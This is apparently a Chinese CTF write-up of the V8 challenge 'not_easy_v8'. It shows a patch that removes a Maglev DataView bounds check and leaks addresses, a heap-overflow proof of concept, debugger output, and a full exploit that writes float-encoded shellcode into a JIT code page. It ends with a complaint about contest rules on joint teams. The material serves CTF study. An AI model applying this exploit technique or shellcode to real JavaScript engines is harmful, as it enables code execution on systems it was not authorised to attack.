JQCTF 2025 Final not_easy_v8 'first blood' wp

写在最前面

为什么要写这篇博客呢,因为这是笔者第一次在比赛上拿到 v8 的一血,所以纪念一下🤣。也许有人会问,一血不是 NeSE 嘛?确实,在排行榜上一血确实是他们,但是我并没有去参加决赛,附件也是找别人要的,当我打通别人给的远程后才发现这题还没有人做出来

但不得不说,这题 v8 也非常的简单,基本上是个会 v8 的人都能够直接秒 :) (可是为什么才三解🤔)

信息收集

这里先给出 patch 文件

patch.diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 65d716745d1..bce2e5f6dc0 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3776,6 +3776,44 @@ void Shell::Version(const v8::FunctionCallbackInfo<v8::Value>& info) {
.ToLocalChecked());
}

+void Shell::Jing(const v8::FunctionCallbackInfo<v8::Value>& info) {
+ v8::Isolate* isolate = info.GetIsolate();
+ i::Isolate* i_isolate = reinterpret_cast<i::Isolate*>(isolate);
+ auto rwx_page = i_isolate->heap()->code_space()->first_page();
+
+ if(rwx_page != NULL) {
+ i::Address rwx_addr = rwx_page->area_start();
+ info.GetReturnValue().Set(v8::BigInt::NewFromUnsigned(isolate, rwx_addr));
+ } else {
+ info.GetReturnValue().Set(Undefined(isolate));
+ }
+}
+
+void Shell::Qi(const v8::FunctionCallbackInfo<v8::Value>& info) {
+ v8::Isolate* isolate = info.GetIsolate();
+ HandleScope scope(isolate);
+
+ if(info.Length() < 1) {
+ info.GetReturnValue().Set(Undefined(isolate));
+ return;
+ }
+ v8::Local<v8::Value> arg = info[0];
+
+ if (!arg->IsArrayBuffer()) {
+ info.GetReturnValue().Set(Undefined(isolate));
+ return;
+ }
+ v8::Local<v8::ArrayBuffer> buffer = arg.As<v8::ArrayBuffer>();
+
+ std::shared_ptr<v8::BackingStore> backing_store = buffer->GetBackingStore();
+ void* data_ptr = backing_store->Data();
+
+ // 将指针转换为一个整数,以便创建 BigInt
+ uintptr_t address_value = reinterpret_cast<uintptr_t>(data_ptr);
+ v8::Local<v8::BigInt> result = v8::BigInt::NewFromUnsigned(isolate, address_value);
+ info.GetReturnValue().Set(result);
+}
+
void Shell::ReportException(Isolate* isolate, Local<v8::Message> message,
Local<v8::Value> exception_obj) {
HandleScope handle_scope(isolate);
@@ -4018,51 +4056,55 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(

Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
- global_template->Set(Symbol::GetToStringTag(isolate),
- String::NewFromUtf8Literal(isolate, "global"));
- global_template->Set(isolate, "version",
- FunctionTemplate::New(isolate, Version));
+ global_template->Set(isolate, "Jing",
+ FunctionTemplate::New(isolate, Jing));
+ global_template->Set(isolate, "Qi",
+ FunctionTemplate::New(isolate, Qi));
+// global_template->Set(Symbol::GetToStringTag(isolate),
+// String::NewFromUtf8Literal(isolate, "global"));
+// global_template->Set(isolate, "version",
+// FunctionTemplate::New(isolate, Version));

global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write",
- FunctionTemplate::New(isolate, WriteStdout));
- if (!i::v8_flags.fuzzing) {
- global_template->Set(isolate, "writeFile",
- FunctionTemplate::New(isolate, WriteFile));
- }
- global_template->Set(isolate, "read",
- FunctionTemplate::New(isolate, ReadFile));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load",
- FunctionTemplate::New(isolate, ExecuteFile));
- global_template->Set(isolate, "setTimeout",
- FunctionTemplate::New(isolate, SetTimeout));
- // Some Emscripten-generated code tries to call 'quit', which in turn would
- // call C's exit(). This would lead to memory leaks, because there is no way
- // we can terminate cleanly then, so we need a way to hide 'quit'.
- if (!options.omit_quit) {
- global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
- }
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-
- // Prevent fuzzers from creating side effects.
- if (!i::v8_flags.fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
-
- if (i::v8_flags.expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }
+// global_template->Set(isolate, "printErr",
+// FunctionTemplate::New(isolate, PrintErr));
+// global_template->Set(isolate, "write",
+// FunctionTemplate::New(isolate, WriteStdout));
+// if (!i::v8_flags.fuzzing) {
+// global_template->Set(isolate, "writeFile",
+// FunctionTemplate::New(isolate, WriteFile));
+// }
+// global_template->Set(isolate, "read",
+// FunctionTemplate::New(isolate, ReadFile));
+// global_template->Set(isolate, "readbuffer",
+// FunctionTemplate::New(isolate, ReadBuffer));
+// global_template->Set(isolate, "readline",
+// FunctionTemplate::New(isolate, ReadLine));
+// global_template->Set(isolate, "load",
+// FunctionTemplate::New(isolate, ExecuteFile));
+// global_template->Set(isolate, "setTimeout",
+// FunctionTemplate::New(isolate, SetTimeout));
+// // Some Emscripten-generated code tries to call 'quit', which in turn would
+// // call C's exit(). This would lead to memory leaks, because there is no way
+// // we can terminate cleanly then, so we need a way to hide 'quit'.
+// if (!options.omit_quit) {
+// global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
+// }
+// global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
+// global_template->Set(isolate, "performance",
+// Shell::CreatePerformanceTemplate(isolate));
+// global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
+
+// // Prevent fuzzers from creating side effects.
+// if (!i::v8_flags.fuzzing) {
+// global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
+// }
+// global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
+
+// if (i::v8_flags.expose_async_hooks) {
+// global_template->Set(isolate, "async_hooks",
+// Shell::CreateAsyncHookTemplate(isolate));
+// }

return global_template;
}
diff --git a/src/d8/d8.h b/src/d8/d8.h
index 94dcfb5a23d..4721121688d 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -657,6 +657,8 @@ class Shell : public i::AllStatic {
static void ScheduleTermination(
const v8::FunctionCallbackInfo<v8::Value>& info);
static void Version(const v8::FunctionCallbackInfo<v8::Value>& info);
+ static void Jing(const v8::FunctionCallbackInfo<v8::Value>& info);
+ static void Qi(const v8::FunctionCallbackInfo<v8::Value>& info);
static void WriteFile(const v8::FunctionCallbackInfo<v8::Value>& info);
static void ReadFile(const v8::FunctionCallbackInfo<v8::Value>& info);
static void CreateWasmMemoryMapDescriptor(
diff --git a/src/maglev/x64/maglev-ir-x64.cc b/src/maglev/x64/maglev-ir-x64.cc
index ef1f9937105..4f3bbe6756f 100644
--- a/src/maglev/x64/maglev-ir-x64.cc
+++ b/src/maglev/x64/maglev-ir-x64.cc
@@ -113,7 +113,7 @@ void CheckJSDataViewBounds::GenerateCode(MaglevAssembler* masm,
int element_size = compiler::ExternalArrayElementSize(element_type_);
if (element_size > 1) {
__ subq(byte_length, Immediate(element_size - 1));
- __ EmitEagerDeoptIf(negative, DeoptimizeReason::kOutOfBounds, this);
+// __ EmitEagerDeoptIf(negative, DeoptimizeReason::kOutOfBounds, this);
}
__ cmpl(index, byte_length);
__ EmitEagerDeoptIf(above_equal, DeoptimizeReason::kOutOfBounds, this);

d8的版本是 14.0.0

1
2
V8 version 14.0.0 (candidate)
d8>

开启了指针压缩,但没有开那个最新版本的 sandbox

漏洞分析

漏洞主要出现在下面个地方

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/maglev/x64/maglev-ir-x64.cc b/src/maglev/x64/maglev-ir-x64.cc
index ef1f9937105..4f3bbe6756f 100644
--- a/src/maglev/x64/maglev-ir-x64.cc
+++ b/src/maglev/x64/maglev-ir-x64.cc
@@ -113,7 +113,7 @@ void CheckJSDataViewBounds::GenerateCode(MaglevAssembler* masm,
int element_size = compiler::ExternalArrayElementSize(element_type_);
if (element_size > 1) {
__ subq(byte_length, Immediate(element_size - 1));
- __ EmitEagerDeoptIf(negative, DeoptimizeReason::kOutOfBounds, this);
+// __ EmitEagerDeoptIf(negative, DeoptimizeReason::kOutOfBounds, this);
}
__ cmpl(index, byte_length);
__ EmitEagerDeoptIf(above_equal, DeoptimizeReason::kOutOfBounds, this);

在 Maglev 优化编译器的 CheckJSDataViewBounds 函数中,移除了对 DataView 越界访问的关键检查逻辑
因此我们可以利用这个地方构造出 arraybuffer 上的堆溢出。这里需要注意的是, arraybuffer 是利用 backing_store 指针去指向他管理的数据,而这个指针是指向系统自身的用户态堆空间而不是 v8 自己所管理的堆。在这道题目中,指向的是 glibc 的堆,也就是说我们构造出的堆溢出是在 glibc 的堆上的,堆溢出的 poc 如下:

1
2
3
4
5
6
7
8
9
10
11
function tryOOBFloat64(index, data) {
for (let i = 0; i < 1000000; i++) {
try {
smallView.setFloat64(index, data, true);
console.log("win");
return;
} catch (e) {
// console.error("Caught error during optimized execution:", e.message);
}
}
}

patch 文件里还定义了另外两个函数,一个是 Jing(), 另外一个是 Qi()。
Jing:返回V8引擎代码空间(Code Space)中第一个 RWX 内存页的起始地址
Qi:接受一个ArrayBuffer对象,返回其底层数据指针的地址值,也就是 backing_store 指针的值

漏洞利用

在 JavaScript 中,当一个函数被反复调用时,v8 为了加快执行速度,会把这个函数变成成 jit 机械码并将其存放在 Code Space 中,这个区域是 RWX 的,既然我们已经能够进行堆上的指定偏移写并知道了 backing_store 指向的地址和 rwx 页的起始地址,那我们可以直接向这个函数对应的 jit 代码区域直接写入 shellcode。jit 相对于 RWX 的偏移的固定的,在 gdb 中可以通过下面的方法获得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pwndbg> job 0x139500058831
0x139500058831: [Function] in OldSpace
- map: 0x139500043595 <Map[32](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1395000436c1 <JSFunction (sfi = 0x139500041a5d)>
- elements: 0x1395000007bd <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype:
- initial_map:
- shared_info: 0x13950005854d <SharedFunctionInfo foo>
- name: 0x139500058315 <String[3]: #foo>
- formal_parameter_count: 1
- kind: NormalFunction
- context: 0x13950005878d <ScriptContext[8]>
- code: 0x139500080515 <Code MAGLEV>
- dispatch_handle: 0x131300
- source code: () {
return [
1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
- properties: 0x1395000007bd <FixedArray[0]>
- All own properties (excluding elements): {
0x139500000de5: [String] in ReadOnlySpace: #length: 0x139500026901 <AccessorInfo name= 0x139500000de5 <String[6]: #length>, data= 0x139500000011 <undefined>> (const accessor descriptor, attrs: [__C]), location: descriptor
0x139500000dd5: [String] in ReadOnlySpace: #name: 0x1395000268e1 <AccessorInfo name= 0x139500000dd5 <String[4]: #name>, data= 0x139500000011 <undefined>> (const accessor descriptor, attrs: [__C]), location: descriptor
0x139500000dbd: [String] in ReadOnlySpace: #prototype: 0x139500026921 <AccessorInfo name= 0x139500000dbd <String[9]: #prototype>, data= 0x139500000011 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- feedback vector: 0x1395000589a1: [FeedbackVector] in OldSpace
- map: 0x13950000087d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 1
- shared function info: 0x13950005854d <SharedFunctionInfo foo>
- tiering_in_progress: 0
- osr_tiering_in_progress: 0
- invocation count: 209277
- closure feedback cell array: 0x1395000021a5: [ClosureFeedbackCellArray] in ReadOnlySpace
- map: 0x139500000855 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 0
- elements:

- slot #0 Literal {
[0]: 0x139500058a59 <AllocationSite>
}
pwndbg> tel 0x139500080515-5
00:0000│ 0x139500080510 ◂— 0xd8500003b13
01:0008│ 0x139500080518 ◂— 0x8001100080479
02:0010│ 0x139500080520 ◂— 0xe0000a310005c069
03:0018│ 0x139500080528 —▸ 0x5f5de0000a40 ◂— push rbp /* 0x49505756e5894855 */
04:0020│ 0x139500080530 ◂— 0x12b00131300
05:0028│ 0x139500080538 ◂— 0x2800000150
06:0030│ 0x139500080540 ◂— 0xffffffff00000000
07:0038│ 0x139500080548 ◂— 0x2800000028 /* '(' */
pwndbg> vmmap 0x5f5de0000a40
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x5f5dbc662000 0x5f5dbc73d000 rw-p db000 0 [heap]
► 0x5f5de0000000 0x5f5e00000000 rwxp 20000000 0 [anon_5f5de0000] +0xa40
0x705b78000000 0x705b78021000 rw-p 21000 0 [anon_705b78000]
pwndbg>

这里比较难受的地方是,我们本地和远程 victim_func 的 jit 与 RWX 起始地址的偏移是不一样的,所以我在 shellcode 前面加了一堆 nop 来提高命中率 :(

exp

最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
const {log} = console;

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}

function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}

let hexx = (str, v) => {
log("[*] " + str + ": 0x" + v.toString(16));
};

var shellcode = [
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
-6.828527034422786e-229,
7.748604185565308e-304,
7.001521162788231e+194,
1.7732903756252677e-288,
-2.192048338075426e+261,
1.073717152e-313
];

function foo() {
return [
1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}

for (let i = 0; i < 0x100000; i++) {
foo();
foo();
}

const smallBuffer = new ArrayBuffer(1);
const smallView = new DataView(smallBuffer);

function tryOOBFloat64(index, data) {
for (let i = 0; i < 1000000; i++) {
try {
smallView.setFloat64(index, data, true);
console.log("win");
return;
} catch (e) {
// console.error("Caught error during optimized execution:", e.message);
}
}
}

var buffer_addr = Qi(smallBuffer);
hexx("array buffer address", buffer_addr);
var rwx_addr = Jing() + 0x80n;
hexx("rwx address", rwx_addr);

var offset = rwx_addr - buffer_addr;
hexx("offset", offset);

for(let i = 0; i < shellcode.length; i++){
tryOOBFloat64(Number(offset) + 8*i, shellcode[i]);
}

foo();

打远程的截图:

写在最后

对于题目本身并没有什么好说的,这是一道非常 easy 的题目(做不出来的可以去重开了 bushi),但是我对比赛的主办方非常的失望。京东举办这场比赛的目的想必应该是为各个网安的强者们创造一次精彩的比拼的机会并为自己的公司找到适合自己业务的人才,但是我有一点不怎么理解的是为什么要禁止联合战队参加呢?

也许是考虑到联合战队太过于超模破坏了比赛的平衡?按照我的了解,大部分的联队参加线下比赛输出大部分来自与线下参加的那几个人,而且我也没见到联队和那些顶级校队比优势在哪里,甚至远远比不上,更别说破坏比赛的平衡了。而我们都知道,很多学校的 CTF 氛围其实并不好,有非常多的独苗为了改变现状拼尽全力,但是一个人的力量总是有限的。就以我为例子,今年 ciscn 半决赛我一个人就将 awdp 打到赛区第二名,长城杯决赛也一个人将队伍打到前百分之 40,难道我对队伍的贡献还不够多嘛,是我还不够努力嘛,我个人得分都快全场最高了吧,我有拿到 ciscn 的国一嘛?联队的意义是什么呢?我觉得是一方面将各个学校的强者集合起来去冲击更高的奖项,另一方面是为各个学校很努力、有实力但没有队友的独苗们提供一个能够展现自身实力的平台。但现在限制联队参加的比赛却越来越多,包括这次京麒 CTF,这对于校队独苗来说是极大的不公平且极大的打击他们的自信心,有大量的独苗就这样失望的、无助的没落。这不仅不利于 CTF 界的发展,而且更加不利于我国网络安全的发展。我尊重主方法的各种行为,但是我希望各个比赛的主办方能够改变对联队的看法,以更加开放、包容的态度去看待联队。